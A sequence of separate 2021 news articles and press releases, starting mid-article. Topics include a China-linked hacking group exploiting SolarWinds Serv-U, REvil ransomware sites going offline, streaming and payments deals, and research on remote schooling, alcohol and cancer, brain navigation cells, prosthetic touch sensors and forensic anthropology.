As part of its investigation, Microsoft said it had observed the hacking group targeting organizations in the US military research and development and software sectors. The company has designated the actor as DEV-0322 in reference to its status as an unidentified "development group." Microsoft explained that it uses the label prior to reaching high confidence about the origin or identity of a hacker. The group operating out of China is using commercial VPN solutions and compromised consumer routers to carry out their attacks, Microsoft said. Those affected have been notified and assisted in their response, the company noted.

SolarWinds confirmed on the weekend that it was notified by Microsoft of a security vulnerability in its Serv-U software. The flaw was related to the product's managed file transfer and secured FTP, which it has since patched.

SolarWinds gained overnight notoriety in December after it became the subject of a supply chain cyberattack that affected 18,000 of its customers; eventually it was revealed that a much smaller number were compromised, totaling about 100 private companies and nine US government agencies. US intelligence released a joint statement in January naming Russia as the most likely source of the hack. The following month, Reuters reported that suspected Chinese hackers had exploited a separate flaw in SolarWinds' software to to help breach US government computers last year. The latest vulnerability is not related to the so-called Sunburst supply chain attack, SolarWinds said.

Correction, 3:30PM ET: This article originally stated that the supply chain cyberattack compromised 18,000 SolarWinds customers. While 18,000 companies could have been affected, a much smaller number were actually impacted and compromised by "follow-on" activity on their system. This story has been updated to reflect the smaller number of organizations that were impacted.
A few days ago, Universal signed a deal with Amazon to give Prime Video exclusive streaming rights for its live-action releases. This time, Universal has struck a deal with Netflix, specifically for its animated films. The companies have signed a multi-year licensing agreement that gives the streaming service exclusive access to animated movies from Universal-owned Illumination, such as Minions: The Rise of Gru, which comes out in 2022. They've also expanded their partnership to include films from DreamWorks Animation, including the upcoming The Bad Guys and Puss In Boots: The Last Wish.

Similar to Universal's pact with Amazon, though, the Netflix deal is a bit complex. Yes, Netflix will have exclusive rights to animated films from Illumination and Dreamworks in the US, but only for a chunk of the 18-month period after the movies' theatrical run. Within the first four months, all Universal films will only be available for streaming on Peacock, the streaming service also owned by its parent company Comcast. Netflix will then have exclusive streaming rights for 10 months after that before the movies go back to Peacock for another four months.

Once that 18-month period is done, Universal's animated films will also be available on Amazon Prime Video. Meanwhile, under their new deal, Netflix will license Universal's full animated and live-action slate four years after their release and will also secure streaming rights to select titles from the studio's library. While the deal can be a bit confusing, it all boils down to the fact that Netflix will continue having exclusive access to some of what could become the most-watched films on the platform. As Variety noted, Illumination's The Secret Life of Pets 2 is the most-watch Netflix movie in 2021 so far, according to a Forbes analysis. Last year, that distinction belonged to another film by Illumination: Despicable Me.
The Russia-linked ransomware group behind some of the biggest recent cyberattacks has disappeared from the internet. According to CNBC, Reuters and The Washington Post, the websites operated by the group REvil went down in the early hours of Tuesday. Dmitri Alperovitch, former chief technology officer of the cyber firm CrowdStrike, told The Post that the group's blog in the dark web is still reachable. However, its critical sites victims use to negotiate with the group and to receive decryption tools if they pay up are no longer available. Visitors to those websites now see a message that says "A server with the specified hostname could not be found."

REvil took responsibility for a recent string of ransomware attacks that affected around 800 to 1,500 businesses worldwide, including schools. It demanded $70 million to restore the data it stole and encrypted. Before that, experts linked the group to the ransomware attacks on IT management software giant Kaseya and beef supplier JBS, which chose to pay US$11 million to get its data back.

It's unclear why REvil's websites aren't accessible anymore. As Reuters mentioned, ransomware gangs tend to vanish and rebrand in case they attract too much attention. President Biden recently revealed that he told Russian President Vladimir Putin that he expects his government to act on ransomware attacks coming from his country. When asked if the US would attack the servers Russian cybercriminals use to hijack American networks, Biden answered with a resounding "Yes."

Alperovitch told The Post that it doesn't look like REvil's servers were attacked, which means it's unlikely a an offensive cyber operation launched by US authorities. Kurtis Minder, the founder of threat intelligence firm GroupSense, told Reuters that if REvil's sites going down truly was the result of an offensive operation mounted by the US government, he hopes that "collateral damage was a consideration." Bad actors hold the key to the data they take ransom, and victims would have a tough time recovering theirs if that key gets destroyed or lost.
Mastercard and Verizon (Engadgets parent company) say they plan to work together on transformational financial technologies. The companies told CNBC they hope their new partnership starts producing results by 2023. One of the main areas they plan to work on is contactless payments. Specifically, they want to push Mastercards Tap on Phone platform, which allows compatible mobile devices to double as point of sale terminals that can process NFC payments. Among other things the two plan to explore are technologies that will make it easier for businesses to add touchless payment systems to their stores.

Naturally, 5G will play a significant role in all the solutions Verizon and Mastercard have in mind. 5G will enable the small and medium business to handle transactions more quickly and focus on what they are really delivering to customers, Verizon CEO Hans Vestberg told CNBC. Mastercard CEO Michael Miebach went on to tell the outlet the company expects small- and medium-sized businesses will represent the biggest area of growth for 5G contactless payments.

As for Verizons stake in all this, the company has a lot riding on the success of its 5G rollout. It spent $45.4 billion, more than AT&T and T-Mobile combined, in the recent Federal Communications Commissions C-band auction to secure as mid-band spectrum as possible. Incidentally, 2023 is when the carrier expects its 5G network to provide coverage to 175 million people across the US.
The services celebrating and honoring the life of Paul Ashby, of Enid, are pending under the direction of Brown-Cummings Funeral Home. Condolences and special memories may be shared online at www.Brown-Cummings.com.
Washington/Philadelphia, July 14, 2021--New research finds that high school students who attended school remotely during the COVID-19 pandemic suffered socially, emotionally, and academically compared with those who attended in person.

The study was published today in Educational Researcher (ER) by researchers Angela L. Duckworth, Tim Kautz, Amy Defnet, Emma Satlof-Bedrick, Sean Talamas, Benjamin Lira, and Laurence Steinberg. ER is a peer-reviewed journal of the American Educational Research Association.

"Many news stories have reported on individual stories of teenagers who have suffered from anxiety, depression, and other mental health challenges during the pandemic," said lead author Duckworth, a professor at the University of Pennsylvania and the founder and CEO of Character Lab. "This study gives some of the first empirical evidence of how learning remotely has affected adolescent well-being."

The study found a social, emotional, and academic "thriving gap" between students who had been attending school in person and their counterparts who had been attending remotely. The greater suffering of students attending school remotely held up when controlling for how students were faring on the same dimensions prior to the pandemic. Though not enormous in magnitude, the thriving gap was consistent across gender, race/ethnicity, and socioeconomic status--and even small effects are noteworthy when they impact millions of individuals.

On a 100-point scale, in-person students were rated higher than remote students on levels of social well-being (77.2 versus 74.8), emotional well-being (57.4 versus 55.7), and academic well-being (78.4 versus 77.3).

"Notably, the thriving gap was larger among students in 10th through 12th grades than it was among ninth graders," said Steinberg, a professor at Temple University.

"As policymakers gear up for national tutoring and remediation programs--which we agree are urgent priorities--we must recognize that our nation's students are not just lagging as performers, they are suffering as people," Duckworth said. "Meeting their intrinsic psychological needs--for social connection, for positive emotion, and authentic intellectual engagement--is a challenge that cannot wait."

As part of an ongoing research partnership with Orange County Public Schools, a large and demographically diverse public school district in Florida, the study authors had already administered the Character Lab Student Thriving Index--a confidential survey assessing students' current social, emotional, and academic experience--to over 6,500 students in February of 2020, just before the pandemic shut down schools.

Several months later, families in this district were offered the option of remote versus in-person classes for the 2020-21 school year. Two thirds of the students in the sample ended up attending school remotely, and one third attended school in person. Regardless of whether they were learning from home or attending classes at school, the same students completed the Student Thriving Index again in October 2020.

To capture social well-being, the survey included questions about fitting in at school, whether there was an adult in their school to whom they could turn for support or advice, and whether in their school there was an adult who always wanted them to do their best. For emotional well-being, teens responded on how often they were feeling happy, relaxed, and sad, as well as how they were feeling overall about their life. And for academic well-being, the survey asked how interesting teens found their classes, how important they found it to do well in their classes, and how confident they were that they could succeed in their classes if they tried.

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Study citation:

Duckworth, A. L., Kautz, T., Defnet, A., Satlof-Bedrick, E., Talamas, S., Lira, B., & Steinberg, L. (2021). Students attending school remotely suffer socially, emotionally, and academically. Educational Researcher. Prepublished July 14, 2021. doi.org/10.3102/0013189X211031551.

About AERA

The American Educational Research Association (AERA) is the largest national interdisciplinary research association devoted to the scientific study of education and learning. Founded in 1916, AERA advances knowledge about education, encourages scholarly inquiry related to education, and promotes the use of research to improve education and serve the public good. Find AERA on Facebook, Twitter, and Instagram.

About Character Lab

Character Lab's mission is to advance scientific insights that help kids thrive. Character Lab connects researchers with schools while promoting teacher and student voice throughout the process, with the ultimate goal of identifying conditions that lead to social, emotional, academic, and physical well-being for all young people.
Americans tend to be far more consumed with national politics than with local politics. As places like Utah, Arizona, Michigan and Maryland gear up to hold local elections this summer and fall, history predicts that they will see an average of 29-37% fewer voters than they would were their elections held "on cycle," in tandem with state and federal elections.

This apparent indifference to local policies can have serious consequences, according to BYU research recently published in the American Political Science Review.

The study found that local governments formed in "off-cycle" years (like 2021) are less responsive to the majority's preferences and more responsive instead to organized interest groups, particularly when the interest groups' desires oppose those of the masses. This may occur, for example, where developers want more higher-density housing, more commercial development and fewer green spaces than citizens or in conservative locations, where public employees generally desire more spending on salaries than residents.

"When turnout for local elections is lower, that opens opportunities for groups that are organized to get their people out to vote and elect those who are going to push policy in a way that benefits the interest groups," said BYU political science professor Adam Dynes, a co-author of the paper. "So election timing ends up being pretty important."

Of the more than 25,000 municipalities in the U.S., about 75% hold their elections off cycle, including many large cities like Chicago. When local residents don't vote -- and in off-cycle elections, it's common for fewer than a quarter of eligible voters to participate -- they relinquish significant power, Dynes observed.

"Our focus is often on national politics, whether that's because national politics reach everyone, because we are socialized to focus on national politics in school or because partisanship is increasingly becoming an important part of people's identities," he said. "But in our daily lives, we are arguably affected the most by local policies, which shape our water access, our streetlights, our K-12 schools, events like Fourth of July celebrations. Local politics influence what your neighborhood is like and your quality of life."

To determine whether local governments are more responsive to the masses or to interest groups, Dynes and his co-authors concentrated especially on policies regarding public employees, who reliably organize together regardless of a city's political leanings.

Examining expenditures on public employee salaries in 1,600 large cities from the 2012 U.S. Census Bureau, the authors reasoned that more conservative cities would spend less on public employees because conservatives favor smaller government. That assumption was borne out in the data -- but it was mostly driven by conservative places that held on-cycle elections. Conservative municipalities with off-cycle elections spent almost double per capita on public employee salaries compared to those with on-cycle elections, the same amount as more liberal-leaning places, suggesting the influence of public employee interest groups.

The study's findings inform the ongoing debate about the ideal timing of municipal elections. "If the goal is to have election outcomes reflect the preferences of your median voter," Dynes said, "then you may want to align local elections with state and national elections."

But even if most municipal elections never move to on-cycle years, Americans can still help ensure that their local governments are responsive to what matters to them.

"Find out when elections are in your city, show up to public hearings, sign up for email newsletters from local politicians and get involved," Dynes advised. "Local politics is the level of government where your individual actions can have the greatest influence."

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The study was also co-authored by Michael T. Hartney and Sam D. Hayes of Boston College.
One in four new breast cancers and one in five colon cancers in Canada attributed to alcohol

July 14, 2021 (Toronto) A new study from the World Health Organization's (WHO) International Agency for Research on Cancer (IARC), published in the journal Lancet Oncology, has found an association between alcohol and a substantially higher risk of several forms of cancer, including breast, colon, and oral cancers. Increased risk was evident even among light to moderate drinkers (up to two drinks a day), who represented 1 in 7 of all new cancers in 2020 and more than 100,000 cases worldwide.

In Canada, alcohol use was linked to 7,000 new cases of cancer in 2020, including 24 per cent of breast cancer cases, 20 per cent of colon cancers, 15 per cent of rectal cancers, and 13 per cent of oral and liver cancers.

"All drinking involves risk," said study co-author Dr. Jurgen Rehm, Senior Scientist, Institute for Mental Health Policy Research and Campbell Family Mental Health Research Institute at CAMH. "And with alcohol-related cancers, all levels of consumption are associated with some risk. For example, each standard sized glass of wine per day is associated with a 6 per cent higher risk for developing female breast cancer."

"Alcohol consumption causes a substantial burden of cancer globally," said Dr. Isabelle Soerjomataram, Deputy Branch Head, Cancer Surveillance Branch at IARC. "Yet the impact on cancers is often unknown or overlooked, highlighting the need for implementation of effective policy and interventions to increase public awareness of the link between alcohol use and cancer risk, and decrease overall alcohol consumption to prevent the burden of alcohol-attributable cancers."

Dr. Leslie Buckley, CAMH Chief of Addictions, added: "In our clinic we are seeing many people who report increased alcohol use since the onset of the pandemic. Although this may be related to temporary stressors, there is a potential for new habits to become more permanent. The consequences with alcohol use are often subtle harms initially that take time to show themselves, while long-term consequences such as cancer, liver disease and substance use disorder can be devastating."

The modelling study was based on data on alcohol exposure from almost all countries of the world, both surveys and sales figures, which were combined with the latest relative risk estimates for cancer based on level of consumption.

"Alcohol causes cancer in numerous ways," explained Dr. Kevin Shield, Independent Scientist, Institute for Mental Health Policy Research, and study co-author. "The main mechanism of how alcohol causes cancer is through impairing DNA repair. Additional pathways include chronic alcohol consumption resulting in liver cirrhosis, and alcohol leading to a dysregulation of sex hormones, leading to breast cancer. Alcohol also increases the risk of head and neck cancer for smokers as it increases the absorption of carcinogens from tobacco."

Dr. Rehm says research into the link between light to moderate drinking and cancer is relatively new and that public policy does not yet reflect the degree of cancer risk. He added, "As an epidemiologist, I would recommend higher taxes to fully reflect the burden of disease from alcohol. Along with limiting the physical availability and marketing of alcohol, price controls are recognized as high-impact, cost-effective measures to reduce alcohol-related harm." Governments can also consider requiring manufacturers to include information about health and safety risks associated with alcohol consumption, including cancer risk, on alcoholic beverage labels.

These suggestions and many others can be found in CAMH's Alcohol Policy Framework. Updated in September 2019, the document proposes evidence-informed measures to effectively address the health and social harms associated with alcohol.

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CAMH is one of Canada's leaders in providing addictions services, and has treated approximately 3,600 patients in the last year for alcohol use disorder. For more information and resources regarding alcohol use and dependence, visit the CAMH website.

About The Centre for Addiction and Mental Health (CAMH)

CAMH is Canada's largest mental health and addiction teaching hospital and a world leading research centre in this field. CAMH combines clinical care, research, education, policy development and health promotion to help transform the lives of people affected by mental illness and addiction. CAMH is fully affiliated with the University of Toronto, and is a Pan American Health Organization/World Health Organization Collaborating Centre. For more information, please visit camh.ca or follow @CAMHnews on Twitter.
New York, NY--July 14, 2021-- A previously unknown kind of human brain cell appears to help people center themselves in their personal maps of the world, according to a new study from neuroscientists at Columbia Engineering. This discovery sheds light on the cellular mechanisms underlying navigation and memory in humans, as well as what parts of the brain might get disrupted during the kinds of memory impairments common in neurodegenerative diseases such as Alzheimer's.

There are two strategies with which humans and animals navigate and orient themselves. One involves locating places, distances and directions in "allocentric" or other-centered frames of reference rooted in the external world. The other strategy involves "egocentric" frames of reference that are centered on the self.

Whenever you use a mobile phone app to find driving directions, it will likely employ both these modes of navigation. When you first type in an address, it will normally show you the address on a map from an allocentric perspective, with 'north' at the top and 'south' at the bottom. When you then go to route view, it will switch to an egocentric perspective where 'ahead' is at the top and 'behind' is at the bottom.

Scientists first discovered brain cells linked with allocentric frames of reference in rats in 1971 -- "place cells" that may, for example, indicate that one is located in the northeast corner of an area. Other allocentric spatial cell types include head-direction cells that may activate whenever one is navigating south, or border cells that may respond when a boundary is located to the west.

In the past decade, researchers began investigating how rat brains mapped egocentric frames of reference. Two years ago, scientists at Dartmouth College in Hanover, New Hampshire, identified a brain region in rats called the postrhinal cortex in which egocentrically tuned cells are abundant. However, it remained poorly understood what brain cells formed the basis of egocentric spatial maps in humans.

"In humans it is only rarely possible to directly record the activity of single neurons from the brain, due to ethical reasons," said Lukas Kunz, a postdoctoral research scientist at Columbia University's Department of Biomedical Engineering and first author of the new study. "There are techniques like fMRI or EEG, which allow us to indirectly measure neural activity from healthy human brains, but this neural activity reflects the sum activity of millions of neurons, which does not allow for direct conclusions about the working principles of single neurons."

In the new study, neuroscientists from the United States and Germany investigated 15 epilepsy patients at the University of Freiburg's Medical Center in Germany. These volunteers were implanted with electrodes to help doctors monitor their disorder.

The researchers asked the volunteers to perform computer tasks that explored their ability to navigate through virtual environments and to remember where many different objects were located there. At the same time, the scientists recorded the activity of more than 1,400 single neurons in multiple brain regions across all the participants.

The scientists identified more than 160 neurons that behaved like egocentric spatial cell types, activating when specific parts of the virtual environment were ahead, behind, to the left, or to the right of the patients, or when points in space were close to or far away from the patients.

"We are now the first to report egocentric spatial cell types in humans," Kunz said. The scientists published their study, "A neural code for egocentric spatial maps in the human medial temporal lobe," in the journal Neuron on July 14, 2021.

These "egocentric bearing cells" likely encode spatial information on a mental map centered on each person. "This is presumably important for everyday life, when humans try to orient themselves in their environments and when they navigate along routes," said Joshua Jacobs, associate professor of biomedical engineering at Columbia Engineering and senior author of the study.

These egocentric bearing cells were particularly ample in the parahippocampal cortex, a region located deep within the brain that prior work suggested is the human equivalent of the rodent postrhinal cortex. Egocentric bearing cells comprised about 25% of all neurons in the parahippocampal cortex. "Previous studies had shown that patients with damage to this brain region are disoriented, presumably because their egocentric bearing cells were affected," Kunz said.

The researchers also found these egocentric bearing cells showed increases in activity when the patients used their memory to successfully recall the locations of objects they had found in the virtual environments. "This suggests these cells are not only relevant for navigation, but also play a role in correctly remembering past experiences," Kunz said.

"Memories consist of multiple different elements, such as a specific event, the place where the event happened, and the time when the event happened," Kunz said. "We believe that there are different neural systems for the different components of these memories. Egocentric bearing cells are presumably particularly involved in processing the spatial information of the memories."

These findings may illuminate what might go wrong in people with memory deficits, including patients with neurodegenerative diseases such as Alzheimer's. "Their egocentric bearing cells may not function correctly, or may have been destroyed for some reason, such as a stroke, a brain tumor, or dementia," Jacobs said.

These new findings do not answer how one might deal with such memory impairments. "There is still a lot of research to do before memory impairments can be treated successfully," Kunz cautioned.

In the future, the researchers want to see why exactly any given egocentric bearing cell is tuned to whatever point in space it is focused on. Currently, Kunz and his colleagues assume that multiple different spatial cues, such as objects, spatial boundaries and landmarks, combine to influence the position of these reference points. The scientists can examine the influence these cues have on the location of these reference points by removing these cues from environments during experiments.

"Another important question is how egocentric bearing cells interact with allocentric spatial cell types, Kunz said. "We currently hypothesize that egocentric bearing cells provide essential input to allocentric spatial cell types. By understanding this, future studies could explain how the tuning of allocentric spatial cell types is influenced by the functioning of egocentric bearing cells."

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About the Study

The study is titled "A neural code for egocentric spatial maps in the human medial temporal lobe."

The study appeared in the journal Neuron on July 14, 2021.

Authors are: Lukas Kunz, Armin Brandt, Peter C. Reinacher, Bernhard P. Staresina, Eric T. Reifenstein, Christoph T. Weidemann, Nora A. Herweg, Ansh Patel, Melina Tsitsiklis, Richard Kempter, Michael J. Kahana, Andreas Schulze-Bonhage, Joshua Jacobs.

Department of Biomedical Engineering, Columbia Engineering

This work received funding from the German Research Foundation, the German Federal Ministry of Education and Research, NSF grant BCS-1724243, NIH/NINDS grant U01 NS1113198-01, NIH grant MH55687, NIH grant MH061975, NIH grant MH104606, a travel grant from the Boehringer Ingelheim Fonds, research grants from the Fraunhofer Society and the Else Kroner-Fresenius Foundation, and a Wellcome Trust/Royal Society Sir Henry Dale Fellowship.

Columbia Engineering

Columbia Engineering, based in New York City, is one of the top engineering schools in the U.S. and one of the oldest in the nation. Also known as The Fu Foundation School of Engineering and Applied Science, the School expands knowledge and advances technology through the pioneering research of its more than 220 faculty, while educating undergraduate and graduate students in a collaborative environment to become leaders informed by a firm foundation in engineering. The School's faculty are at the center of the University's cross-disciplinary research, contributing to the Data Science Institute, Earth Institute, Zuckerman Mind Brain Behavior Institute, Precision Medicine Initiative, and the Columbia Nano Initiative. Guided by its strategic vision, "Columbia Engineering for Humanity," the School aims to translate ideas into innovations that foster a sustainable, healthy, secure, connected, and creative humanity.
Each fingertip has more than 3,000 touch receptors, which largely respond to pressure. Humans rely heavily on sensation in their fingertips when manipulating an object. The lack of this sensation presents a unique challenge for individuals with upper limb amputations. While there are several high-tech, dexterous prosthetics available today - they all lack the sensation of "touch." The absence of this sensory feedback results in objects inadvertently being dropped or crushed by a prosthetic hand.

To enable a more natural feeling prosthetic hand interface, researchers from Florida Atlantic University's College of Engineering and Computer Science and collaborators are the first to incorporate stretchable tactile sensors using liquid metal on the fingertips of a prosthetic hand. Encapsulated within silicone-based elastomers, this technology provides key advantages over traditional sensors, including high conductivity, compliance, flexibility and stretchability. This hierarchical multi-finger tactile sensation integration could provide a higher level of intelligence for artificial hands.

For the study, published in the journal Sensors, researchers used individual fingertips on the prosthesis to distinguish between different speeds of a sliding motion along different textured surfaces. The four different textures had one variable parameter: the distance between the ridges. To detect the textures and speeds, researchers trained four machine learning algorithms. For each of the ten surfaces, 20 trials were collected to test the ability of the machine learning algorithms to distinguish between the ten different complex surfaces comprised of randomly generated permutations of four different textures.

Results showed that the integration of tactile information from liquid metal sensors on four prosthetic hand fingertips simultaneously distinguished between complex, multi-textured surfaces - demonstrating a new form of hierarchical intelligence. The machine learning algorithms were able to distinguish between all the speeds with each finger with high accuracy. This new technology could improve the control of prosthetic hands and provide haptic feedback, more commonly known as the experience of touch, for amputees to reconnect a previously severed sense of touch.

"Significant research has been done on tactile sensors for artificial hands, but there is still a need for advances in lightweight, low-cost, robust multimodal tactile sensors," said Erik Engeberg, Ph.D., senior author, an associate professor in the Department of Ocean and Mechanical Engineering and a member of the FAU Stiles-Nicholson Brain Institute and the FAU Institute for Sensing and Embedded Network Systems Engineering (I-SENSE), who conducted the study with first author and Ph.D. student Moaed A. Abd. "The tactile information from all the individual fingertips in our study provided the foundation for a higher hand-level of perception enabling the distinction between ten complex, multi-textured surfaces that would not have been possible using purely local information from an individual fingertip. We believe that these tactile details could be useful in the future to afford a more realistic experience for prosthetic hand users through an advanced haptic display, which could enrich the amputee-prosthesis interface and prevent amputees from abandoning their prosthetic hand."

Researchers compared four different machine learning algorithms for their successful classification capabilities: K-nearest neighbor (KNN), support vector machine (SVM), random forest (RF), and neural network (NN). The time-frequency features of the liquid metal sensors were extracted to train and test the machine learning algorithms. The NN generally performed the best at the speed and texture detection with a single finger and had a 99.2 percent accuracy to distinguish between ten different multi-textured surfaces using four liquid metal sensors from four fingers simultaneously.

"The loss of an upper limb can be a daunting challenge for an individual who is trying to seamlessly engage in regular activities," said Stella Batalama, Ph.D., dean, College of Engineering and Computer Science. "Although advances in prosthetic limbs have been beneficial and allow amputees to better perform their daily duties, they do not provide them with sensory information such as touch. They also don't enable them to control the prosthetic limb naturally with their minds. With this latest technology from our research team, we are one step closer to providing people all over the world with a more natural prosthetic device that can 'feel' and respond to its environment."

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Study co-authors are Rudy Paul, FAU Department of Ocean and Mechanical Engineering; Aparna Aravelli, Ph.D.; Ou Bai, Ph.D.; and Leonel Lagos, Ph.D., PMP, all with Florida International University; and Maohua Lin, Ph.D., FAU Department of Ocean and Mechanical Engineering.

The research was supported by the National Institute of Biomedical Imaging and Bioengineering of the National Institutes of Health (NIH) and the National Institute of Aging of the NIH, the National Science Foundation, the Department of Energy and pilot grants from the FAU Stiles-Nicholson Brain Institute and FAU I-SENSE.

About FAU's College of Engineering and Computer Science:

The FAU College of Engineering and Computer Science is internationally recognized for cutting edge research and education in the areas of computer science and artificial intelligence (AI), computer engineering, electrical engineering, bioengineering, civil, environmental and geomatics engineering, mechanical engineering, and ocean engineering. Research conducted by the faculty and their teams expose students to technology innovations that push the current state-of-the art of the disciplines. The College research efforts are supported by the National Science Foundation (NSF), the National Institutes of Health (NIH), the Department of Defense (DOD), the Department of Transportation (DOT), the Department of Education (DOEd), the State of Florida, and industry. The FAU College of Engineering and Computer Science offers degrees with a modern twist that bear specializations in areas of national priority such as AI, cybersecurity, internet-of-things, transportation and supply chain management, and data science. New degree programs include Masters of Science in AI (first in Florida), Masters of Science in Data Science and Analytics, and the new Professional Masters of Science degree in computer science for working professionals. For more information about the College, please visit eng.fau.edu.

About Florida Atlantic University:
What The Study Did: This study found an unequal pattern of COVID-19 outcomes that was associated with the socioeconomic circumstances in regions of Japan, suggesting that these disparities in COVID-19 outcomes aren't unique to the United States and Europe.

Authors: Yuki Yoshikawa, M.D., M.P.H., of the Harvard T.H.Chan School of Public Health in Boston, is the corresponding author.

To access the embargoed study: Visit our For The Media website at this link https:/ / media. jamanetwork. com/

(doi:10.1001/jamanetworkopen.2021.17060)

Editor's Note: Please see the article for additional information, including other authors, author contributions and affiliations, conflict of interest and financial disclosures, and funding and support.

# # # Media advisory: The full study is linked to this news release.

Embed this link to provide your readers free access to the full-text article This link will be live at the embargo time http://jamanetwork. com/ journals/ jamanetworkopen/ fullarticle/ 10. 1001/ jamanetworkopen. 2021. 17060?utm_source= For_The_Media&utm_medium= referral&utm_campaign= ftm_links&utm_term= 071421

About JAMA Network Open: JAMA Network Open is the new online-only open access general medical journal from the JAMA Network. On weekdays, the journal publishes peer-reviewed clinical research and commentary in more than 40 medical and health subject areas. Every article is free online from the day of publication.

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What The Study Did: In this randomized clinical trial, a physician messaging campaign was effective in increasing COVID-19 knowledge, information-seeking and self-reported protective behaviors among diverse groups.

Authors: Esther Duflo, Ph.D., of the Massachusetts Institute of Technology in Cambridge, is the corresponding author.

To access the embargoed study: Visit our For The Media website at this link https:/ / media. jamanetwork. com/

(doi:10.1001/jamanetworkopen.2021.17115)

Editor's Note: The article includes conflict of interest and funding/support disclosures. Please see the article for additional information, including other authors, author contributions and affiliations, conflict of interest and financial disclosures, and funding and support.

# # # Media advisory: The full study and commentary are linked to this news release.

Embed this link to provide your readers free access to the full-text article This link will be live at the embargo time http://jamanetwork. com/ journals/ jamanetworkopen/ fullarticle/ 10. 1001/ jamanetworkopen. 2021. 17115?utm_source= For_The_Media&utm_medium= referral&utm_campaign= ftm_links&utm_term= 071421

About JAMA Network Open: JAMA Network Open is the new online-only open access general medical journal from the JAMA Network. On weekdays, the journal publishes peer-reviewed clinical research and commentary in more than 40 medical and health subject areas. Every article is free online from the day of publication.

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Cross-disciplinary researchers are bringing the power of AI to plant biology with the support of more than $1 million from the NSF

We live in a time when it's never been easier or less expensive to sequence a plant's complete genome. But knowing all a plant's genes is not the same thing as knowing what all those genes do.

Michigan State experts in plant biology and computer science plan to close that gap with the help of artificial intelligence and a new $1.4 million grant from the National Science Foundation. Ultimately, the goal is to help farmers grow crops with genes that give their plants the best chance to withstand threats such as drought and disease.

To get to that point, though, researchers still need to reveal the fundamental role of many of the genes found in plants.

"In terms of plant science, there are major questions that we're trying to answer: How does a particular gene sequence work? What's its molecular function? What does it do?" said lead investigator Shin-Han Shiu. Shiu is a professor in the College of Natural Science's Department of Plant Biology and in Computational Mathematics, Science and Engineering, a department jointly administered by the College of Natural Science and the College of Engineering.

"In the cases where we don't know, it's not because we haven't tried to find out," Shiu said. "It's because it becomes harder and harder to find the answers through experiments."

The researchers believe that AI can provide the assistance researchers need to crack those tough cases, which represent a sizable fraction of plant genes. The researchers are using a type of AI known as machine learning, which involves computer algorithms that can essentially be taught.

To "teach" the AI, the team will program in available data, describing what scientists do know about plant genes and their functions. And there is a substantial bounty of this data, particularly from well-studied plants including corn, tomatoes and a model plant known as Arabidopsis.

The algorithm can then start making informed predictions about what genes with unknown functions do and then help guide scientists in designing experiments to test those predictions.

But the researchers are facing more than just technical challenges with this project. Some scientific communities have been particularly cautious to embrace AI and machine learning algorithms that can seem like indecipherable codes that offer up answers without context, Shiu said.

That's why he and his colleagues knew they needed to have a group of experts from varied disciplines that could communicate effectively with each other. That way, the team could create machine learning systems where everyone could understand what the answers mean and where they came from.

"Humans need to know how the machine makes decisions, otherwise the AI is just a black box," said co-investigator Jiliang Tang. Tang is also an associate professor in the MSU College of Engineering's Department of Computer Science and Engineering.

"The goal of AI is to make predictions, but we also need humans who can audit these predictions," he said. "Our goal is to make explainable and responsible AI, which means we have to make it trustworthy and transparent."

That's why the team also recruited machine learning ace Yuying Xie, assistant professor in the Department of Computational Mathematics, Science and Engineering, and expert experimentalist Melissa Lehti-Shiu, a research assistant professor in the Department of Plant Biology.

"Typically, the development of a machine learning model and its applications can be disjointed," Xie said. "By working together as a group, we have a better understanding of the methodology top to bottom. It benefits us as a group, and it pushes the science forward."

"By understanding and interpreting the models, we can also gain insight into biological processes and why certain genes belong to certain biological pathways," Lehti-Shiu said, adding that AI can also help focus experiments. Right now, it looks like there could be thousands of genes that may be important to stress responses -- say, how a plant responds to heat stress," Lehti-Shiu said. "The model can help predict which genes are the most important."

In reaching its scientific goals -- using machine learning to predict gene functions -- the team is also aiming to demonstrate the power of AI as a research tool to the plant science community. As trailblazers often do, the Spartans have faced early challenges in getting others to accept their ideas.

"When I first came to MSU and became interested in machine learning, it took five years to publish our first paper using it. Plant and computer sciences have completely different cultures and use completely different languages," Shiu said. But, working as a team, the Spartans have persevered.

"This project would not have been possible without computer scientists who were patient and willing enough to teach and work with plant scientists."

So, although the team may be charting new territory with AI, it's working from a proven roadmap, one that relies on teamwork and Spartans' will. Add to that the support from the new NSF grant, and the MSU team is primed to make waves in plant science.

"I'm hopeful this will help more researchers apply AI in this field," Tang said. "I'm excited to demonstrate its potential and promise."

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A new study finds forensics researchers use terms related to ancestry and race in inconsistent ways, and calls for the discipline to adopt a new approach to better account for both the fluidity of populations and how historical events have shaped our skeletal characteristics.

"Forensic anthropology is a science, and we need to use terms consistently," says Ann Ross, corresponding author of the study and a professor of biological sciences at North Carolina State University. "Our study both highlights our discipline's challenges in discussing issues of ancestral origin consistently, and suggests that focusing on population affinity would be a way forward."

Race is a social construct - there's no scientific basis for it. Population affinity, in the context of forensic anthropology, is determined by the skeletal characteristics associated with groups of people. Those characteristics are shaped by historic events and forces such as gene flow, migration, and so on. What's more, these population groups can be very fluid.

In practical terms, that this means that race can be wildly misleading in a forensic context. For example, a missing person may have been listed as Black on their driver's license because of their skin color. But their skeletal remains may not indicate they were of African descent, because their bone structure may reflect other aspects of their ancestry.

"Like many disciplines, forensic anthropology has been coming to terms with issues regarding race," Ross says. "Some people in the discipline want to do away completely with assessing an individual's place of origin. Others say that conventional approaches still have value in helping to identify human remains.

"In this paper, we are recommending a third path. This study is focused on finding ways to evaluate human variation that give us valuable information in forensic and anthropological contexts, but that avoid clinging to the use of outdated defaults such as race."

In one part of the study, the researchers looked at all of the papers published in the Journal of Forensic Sciences between 2009 and 2019 that referenced ancestry, race or related terms. The goal of this content analysis was to determine if the terms were being used consistently within the field. And they were not.

"The Journal of Forensic Sciences is the flagship journal for forensic sciences in the U.S., and even there we found inconsistencies in how our field uses these terms," Ross says. "Inconsistent terminology opens the door to confusion, misunderstanding and misuse within the discipline."

In a second part of the study, the researchers used geometric morphometric data and spatial analysis methods to evaluate the validity of terms such as "European" or "African" to describe the ancestral origin of human remains.

Altogether, the researchers evaluated nine datasets, comprising data on 397 people. The datasets were of human remains collected in Chile, Colombia, Cuba, Guatemala, Panama, Puerto Rico, Peru, Spain and a population of enslaved Africans that had been buried in Cuba. All of the remains, except for those of the enslaved Africans, were from the 20th or 21st centuries.

"Regarding the data we have on the remains of enslaved Africans, we want to acknowledge the value that data collected from such samples can contribute to discussions of human variation, while also noting that the history and ethics of human skeletal collections, in general, is often dubious," Ross says. "Such body harvesting all too often occurred under the umbrella of scientific racism, without the permission of the deceased or next of kin, and disproportionately targeted marginalized populations."

